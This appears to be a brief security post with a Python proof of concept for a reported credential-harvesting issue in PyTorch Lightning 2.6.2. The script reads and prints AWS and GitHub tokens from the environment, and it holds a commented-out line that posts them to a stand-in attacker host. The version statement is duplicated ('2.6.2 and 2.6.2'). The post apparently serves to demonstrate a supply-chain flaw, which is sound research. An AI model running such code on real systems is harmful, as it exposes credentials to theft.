PyTorch Lightning is a deep learning framework to pretrain and finetune AI models. Versions 2.6.2 and 2.6.2 have introduced functionality consistent with a credential harvesting mechanism.
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-44484
# This script demonstrates how the credential harvesting mechanism might be triggered.
import os
import requests
def check_vulnerability():
print("[+] Simulating CVE-2026-44484 in PyTorch Lightning 2.6.2")
# Simulate the malicious behavior present in the vulnerable version
# In a real scenario, this would happen inside the library code
sensitive_data = {
"AWS_ACCESS_KEY": os.getenv("AWS_ACCESS_KEY"),
"GITHUB_TOKEN": os.getenv("GITHUB_TOKEN")
}
if sensitive_data["AWS_ACCESS_KEY"]:
print(f"[!] Detected potential data exfiltration: {sensitive_data}")
#模拟发送数据到攻击者服务器
# requests.post("http://attacker-server.com/collect", json=sensitive_data)
else:
print("[-] No sensitive credentials found in environment.")
if __name__ == "__main__":
check_vulnerability()